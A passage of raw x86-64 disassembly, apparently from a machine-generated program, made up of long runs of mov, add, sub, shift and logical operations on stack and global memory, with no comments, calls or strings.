movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x4cd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3b]
add eax, ecx
mov rcx, qword [rsp + 0x5e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ad8]
movzx eax, word [rax]
mov word [rsp + 0xa60], ax
movzx eax, byte [rsp + 0x9c]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51e0]
mov byte [rcx], al
lea rax, [rsp + 0x4b80]
mov qword [rsp + 0x5fd8], rax
mov rax, qword [rsp + 0x5640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53b0]
mov rax, qword [rax]
mov qword [rsp + 0x5fe0], rax
mov eax, dword [rsp + 0x2ce4]
movzx ecx, al
mov eax, dword [rsp + 0x2b98]
shl eax, cl
mov rcx, qword [rsp + 0x5840]
mov dword [rcx], eax
lea rax, [rsp + 0x858]
mov qword [0x1401143d8], rax
mov rax, qword [0x1401142d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4de0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5148]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c60]
movzx eax, byte [rax]
mov byte [rsp + 0xc4], al
mov rax, qword [rsp + 0x5d98]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c98]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4e80]
mov word [rcx], ax
lea rax, [0x140113003]
mov qword [rsp + 0x5fe8], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x5eb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x56e8]
mov rcx, qword [rsp + 0x5480]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5e68], rax
mov eax, dword [rsp + 0x2af8]
mov dword [rsp + 0x2d10], eax
mov rax, qword [rsp + 0x5b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5948]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xa7]
mov rcx, qword [rsp + 0x58e8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x140114157], al
mov rax, qword [rsp + 0x5e18]
movzx eax, word [rax]
mov word [rsp + 0xa64], ax
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5cb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x5758]
movsx eax, word [rax]
movsx ecx, word [0x140113014]
sub eax, ecx
mov rcx, qword [rsp + 0x5848]
mov word [rcx], ax
movzx eax, word [rsp + 0x8bc]
mov word [rsp + 0xa68], ax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c70], eax
lea rax, [rsp + 0x5988]
mov qword [rsp + 0x5ff0], rax
mov rax, qword [rsp + 0x4fd0]
mov rcx, qword [rsp + 0x5fe0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5488]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b24]
mov dword [rsp + 0x2d14], eax
movzx eax, byte [rsp + 0x9b]
mov rcx, qword [rsp + 0x5600]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113042], al
movzx eax, word [rsp + 0x970]
movzx ecx, word [rsp + 0x90c]
sub eax, ecx
mov rcx, qword [rsp + 0x5170]
mov word [rcx], ax
mov rax, qword [rsp + 0x53d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5528]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5160]
mov word [rcx], ax
mov rax, qword [rsp + 0x5990]
movzx eax, byte [rax]
mov byte [rsp + 0xc5], al
movsx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0x5380]
mov qword [rsp + 0x5ff8], rax
mov rax, qword [rsp + 0x56d8]
mov rcx, qword [rsp + 0x5a50]
mov qword [rsp + 0x6000], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6000]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4f48], rax
mov rax, qword [rsp + 0x5b60]
mov rcx, qword [rsp + 0x5550]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c90], eax
lea rax, [rsp + 0x2b28]
mov qword [rsp + 0x6008], rax
mov rax, qword [rsp + 0x5720]
movzx eax, word [rax]
mov rcx, qword [0x140114300]
movzx ecx, word [rcx]
sar eax, cl
mov word [str.n_a54], ax
movzx eax, byte [rsp + 0x4c]
mov rcx, qword [rsp + 0x5468]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x81], al
movzx eax, word [rsp + 0x9d4]
mov word [rsp + 0xa6c], ax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0x89]
and eax, ecx
mov rcx, qword [rsp + 0x5e30]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ac]
mov rcx, qword [rsp + 0x5c00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a30]
mov word [rcx], ax
mov rax, qword [rsp + 0x57c8]
mov qword [rsp + 0x6010], rax
mov rax, qword [rsp + 0x5028]
mov rcx, qword [rsp + 0x58c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5028]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cac]
mov dword [rsp + 0x2d18], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x5918]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x5768]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140114157], al
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9a4]
sub eax, ecx
mov word [rsp + 0xa54], ax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x6018], rax
movzx eax, word [rsp + 0x9d0]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa18], ax
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0xc6], al
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2d04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x6020], rax
mov rax, qword [rsp + 0x53b8]
mov rcx, qword [rsp + 0x50d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5970]
shl rax, cl
mov rcx, qword [rsp + 0x5fa0]
mov qword [rcx], rax
movzx eax, byte [0x14011303a]
mov byte [0x140114215], al
lea rax, [rsp + 0x92]
mov qword [rsp + 0x6028], rax
movzx eax, word [rsp + 0xa68]
movzx ecx, word [rsp + 0x8dc]
xor eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7b]
mov byte [rsp + 0xc7], al
movsx eax, word [rsp + 0x8d8]
movsx ecx, word [rsp + 0x858]
or eax, ecx
mov word [rsp + 0x9a0], ax
mov rax, qword [rsp + 0x57c0]
mov rcx, qword [rsp + 0x5ff8]
mov qword [rsp + 0x6030], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6030]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5f38], rax
mov rax, qword [rsp + 0x5da0]
mov eax, dword [rax]
mov dword [rsp + 0x2d1c], eax
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [rsp + 0x2b44]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5538]
mov dword [rcx], eax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x6038], rax
movzx eax, word [rsp + 0x854]
movzx ecx, word [rsp + 0x9b4]
add eax, ecx
mov word [0x14011304c], ax
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x5780]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
movsx eax, byte [rsp + 0x82]
movsx ecx, byte [rsp + 0xc7]
add eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xa1c]
mov word [rsp + 0xa70], ax
mov rax, qword [rsp + 0x4e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
add eax, ecx
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x5a48]
mov eax, dword [rax]
mov dword [rsp + 0x2d20], eax
mov rax, qword [rsp + 0x4d58]
mov ecx, dword [0x140114150]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x55f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59e8]
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x55d0]
mov rcx, qword [rsp + 0x5df8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5340]
mov qword [rcx], rax
mov rax, qword [0x140114270]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x968]
sub eax, ecx
mov word [rsp + 0x878], ax
mov rax, qword [rsp + 0x5e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401143a8]
mov byte [rcx], al
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x6048], rax
mov rax, qword [0x140114390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
sub eax, ecx
mov byte [rsp + 0xa4], al
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0xc8], al
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50e0]
mov qword [rsp + 0x6050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6050]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x58a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x5728]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2ce0], eax
mov eax, dword [rsp + 0x2a98]
mov dword [rsp + 0x2d24], eax
mov rax, qword [rsp + 0x4e60]
movzx ecx, al
mov rax, qword [rsp + 0x5cf8]
shr rax, cl
mov qword [rsp + 0x4ce8], rax
lea rax, [0x140113064]
mov qword [rsp + 0x6058], rax
mov rax, qword [rsp + 0x5598]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa30]
xor eax, ecx
mov word [0x14011308c], ax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
movzx ecx, byte [0x1401141bf]
and eax, ecx
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x5e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5d28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5258]
mov word [rcx], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0x6060], rax
mov rax, qword [rsp + 0x5730]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5b10], rax
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x6068], rax
mov eax, dword [rsp + 0x2b48]
mov ecx, dword [rsp + 0x2bc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x55d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c38]
mov qword [rcx], rax
lea rax, [rsp + 0xac]
mov qword [rsp + 0x6070], rax
lea rax, [rsp + 0x9ec]
mov qword [0x1401143e0], rax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5a80]
mov byte [rcx], al
lea rax, [0x140114155]
mov qword [rsp + 0x6078], rax
movsx eax, word [rsp + 0x86c]
movsx ecx, word [rsp + 0x9c4]
and eax, ecx
mov rcx, qword [rsp + 0x58e0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2cc4]
mov dword [rsp + 0x2d28], eax
mov rax, qword [rsp + 0x5ab0]
mov rcx, qword [rsp + 0x5238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57e0], rax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x5158]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5b98]
mov qword [rcx], rax
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x6080], rax
movsx eax, word [rsp + 0xa44]
movsx ecx, word [rsp + 0x928]
sub eax, ecx
mov rcx, qword [rsp + 0x5ee8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5a68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x140114330]
mov word [rcx], ax
movzx eax, word [rsp + 0xa18]
mov word [rsp + 0xa74], ax
mov rax, qword [0x140114310]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50a8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x69]
mov rcx, qword [rsp + 0x6028]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6d], al
lea rax, [rsp + 0x9b4]
mov qword [rsp + 0x6088], rax
mov rax, qword [rsp + 0x4d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a4c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov dword [rcx], eax
lea rax, [rsp + 0x53b8]
mov qword [rsp + 0x6090], rax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x5180]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x5260], rax
mov rax, qword [rsp + 0x56f0]
mov ecx, dword [rsp + 0x2cd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b98], eax
mov rax, qword [rsp + 0x5f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5b28]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113034], ax
mov rax, qword [0x140114260]
movzx eax, byte [rax]
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x5e00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
lea rax, [rsp + 0x9e4]
mov qword [rsp + 0x6098], rax
movzx eax, word [rsp + 0x874]
movzx ecx, word [rsp + 0x97c]
add eax, ecx
mov word [rsp + 0xa34], ax
mov eax, dword [rsp + 0x2bfc]
mov ecx, dword [rsp + 0x2c84]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5820]
mov dword [rcx], eax
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
mov qword [rsp + 0x60a0], rax
mov rax, qword [rsp + 0x5818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x56c0], rax
mov eax, dword [rsp + 0x2b60]
mov dword [rsp + 0x2d2c], eax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113043], al
movsx eax, word [rsp + 0x904]
movsx ecx, word [rsp + 0x960]
and eax, ecx
mov word [rsp + 0x86c], ax
movzx eax, byte [rsp + 0xaf]
mov byte [rsp + 0xca], al
movzx eax, word [rsp + 0x8a0]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov rcx, qword [rsp + 0x5560]
mov word [rcx], ax
mov rax, qword [rsp + 0x5e88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
or eax, ecx
mov rcx, qword [rsp + 0x5048]
mov byte [rcx], al
mov rax, qword [rsp + 0x5310]
mov qword [rsp + 0x60a8], rax
mov rax, qword [rsp + 0x5a40]
mov ecx, dword [rsp + 0x2ce8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b04], eax
lea rax, [rsp + 0x5690]
mov qword [rsp + 0x60b0], rax
mov rax, qword [rsp + 0x5f58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c1c]
shr eax, cl
mov dword [rsp + 0x2c64], eax
movzx eax, word [rsp + 0x93c]
mov word [0x1401143e8], ax
mov rax, qword [rsp + 0x4fe0]
movzx eax, byte [rax]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x54f0]
movzx eax, byte [rax]
mov byte [rsp + 0xcb], al
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0x58d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x4e80]
movzx eax, word [rax]
mov word [rsp + 0xa78], ax
mov rax, qword [rsp + 0x5010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ed8], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b74]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ccc], eax
lea rax, [rsp + 0x2b90]
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x4f70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4fb0], rax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x37]
sub eax, ecx
mov rcx, qword [0x140114200]
mov byte [rcx], al
mov rax, qword [0x140114300]
movzx eax, word [rax]
mov word [rsp + 0xa7c], ax
mov rax, qword [rsp + 0x59c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5048]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x57a0]
mov byte [rcx], al
movzx eax, word [rsp + 0x9e4]
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x5a30]
movzx eax, word [rax]
mov rcx, qword [0x1401143e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5908]
mov word [rcx], ax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x59a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c9c]
mov dword [rsp + 0x2d30], eax
mov rax, qword [rsp + 0x55a0]
mov ecx, dword [rsp + 0x2d14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c60], eax
lea rax, [rsp + 0x5db0]
mov qword [rsp + 0x60c0], rax
mov rax, qword [rsp + 0x5e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
and eax, ecx
mov byte [0x140113046], al
movsx eax, byte [0x14011303f]
movsx ecx, byte [rsp + 0x84]
xor eax, ecx
mov byte [rsp + 0x65], al
mov rax, qword [rsp + 0x5510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x968]
shl eax, cl
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x5fa8]
movzx eax, byte [rax]
mov byte [rsp + 0xcc], al
mov rax, qword [0x140114388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x56c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2c4c]
mov dword [rsp + 0x2d34], eax
mov rax, qword [rsp + 0x4ea8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5b40]
sar rax, cl
mov qword [rsp + 0x55b0], rax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x57f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c98], eax
lea rax, [rsp + 0x5fb8]
mov qword [rsp + 0x60c8], rax
movzx eax, byte [rsp + 0xae]
mov rcx, qword [rsp + 0x5048]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011301e], al
mov rax, qword [rsp + 0x5758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x88c]
and eax, ecx
mov word [rsp + 0xa70], ax
lea rax, [rsp + 0x3e]
mov qword [rsp + 0x60d0], rax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x918], ax
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0x9d]
add eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x5b68]
mov eax, dword [rax]
mov dword [rsp + 0x2d38], eax
mov rax, qword [rsp + 0x6038]
mov rcx, qword [rsp + 0x5a88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x52f0], rax
mov rax, qword [rsp + 0x53e8]
mov qword [rsp + 0x60d8], rax
mov eax, dword [rsp + 0x2ca4]
mov ecx, dword [rsp + 0x2b38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5248]
mov dword [rcx], eax
lea rax, [rsp + 0xa48]
mov qword [0x1401143f0], rax
lea rax, [rsp + 0x9a4]
mov qword [rsp + 0x60e0], rax
movsx eax, byte [rsp + 0x4b]
movsx ecx, byte [rsp + 0x40]
sub eax, ecx
mov rcx, qword [rsp + 0x5768]
mov byte [rcx], al
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
add eax, ecx
mov rcx, qword [rsp + 0x5b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d48]
movzx eax, byte [rax]
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x2d3c], eax
mov rax, qword [rsp + 0x5eb8]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5db0], rax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x54c8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6058]
movzx eax, word [rax]
mov word [rsp + 0xa84], ax
movzx eax, byte [0x140114156]
mov rcx, qword [rsp + 0x59c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140113033], al
mov rax, qword [rsp + 0x5b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x51c0]
movzx eax, word [rax]
mov word [rsp + 0xa88], ax
mov rax, qword [0x140114180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9ac]
or eax, ecx
mov rcx, qword [rsp + 0x55c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5190]
mov rcx, qword [rsp + 0x5aa0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4eb0], rax
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0x60e8], rax
mov rax, qword [rsp + 0x5910]
mov rcx, qword [rsp + 0x5e68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
lea rax, [rsp + 0x2ce8]
mov qword [rsp + 0x60f0], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x5700]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x5b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5450]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401143b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0xce], al
movzx eax, word [rsp + 0xa7c]
movzx ecx, word [0x140113054]
add eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x4e00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x5270]
mov rax, qword [rax]
mov qword [rsp + 0x60f8], rax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bf4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
lea rax, [rsp + 0x2c68]
mov qword [rsp + 0x6100], rax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x50e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ea8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xa5c]
movzx ecx, word [rsp + 0x848]
sub eax, ecx
mov word [rsp + 0x8ac], ax
lea rax, [rsp + 0x9cc]
mov qword [0x1401143f8], rax
lea rax, [rsp + 0x944]
mov qword [rsp + 0x6108], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x77]
or eax, ecx
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
movzx eax, word [0x1401142b0]
mov word [rsp + 0xa8c], ax
mov rax, qword [rsp + 0x5a78]
mov rcx, qword [rsp + 0x5010]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5800]
mov qword [rcx], rax
mov eax, dword [0x140114150]
mov rcx, qword [rsp + 0x5140]
mov qword [rsp + 0x6110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d00], eax
mov rax, qword [rsp + 0x5cd0]
mov eax, dword [rax]
mov dword [rsp + 0x2d40], eax
mov rax, qword [rsp + 0x5c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5760]
mov qword [rsp + 0x6118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6118]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x57c8], rax
lea rax, [rsp + 0x894]
mov qword [rsp + 0x6120], rax
mov rax, qword [0x140114168]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140114168]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x5e]
add eax, ecx
mov byte [rsp + 0x33], al
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5318]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x5208]
movzx eax, word [rax]
mov word [rsp + 0xa90], ax
movzx eax, word [rsp + 0x9c8]
mov rcx, qword [rsp + 0x6048]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5b48]
mov word [rcx], ax
mov rax, qword [rsp + 0x5348]
mov eax, dword [rax]
mov dword [rsp + 0x2d44], eax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x5278]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5fd0]
mov qword [rcx], rax
lea rax, [rsp + 0x2cfc]
mov qword [rsp + 0x6128], rax
mov rax, qword [rsp + 0x5ac0]
mov rcx, qword [rsp + 0x5188]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5df8], rax
mov rax, qword [rsp + 0x57b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5cd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113047], al
mov rax, qword [rsp + 0x57d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x86c]
sub eax, ecx
mov word [rsp + 0x968], ax
mov rax, qword [rsp + 0x5fa8]
movzx eax, byte [rax]
mov byte [rsp + 0xcf], al
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0x5b50]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x928], ax
mov rax, qword [rsp + 0x5660]
movzx eax, byte [rax]
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5680]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2cb8]
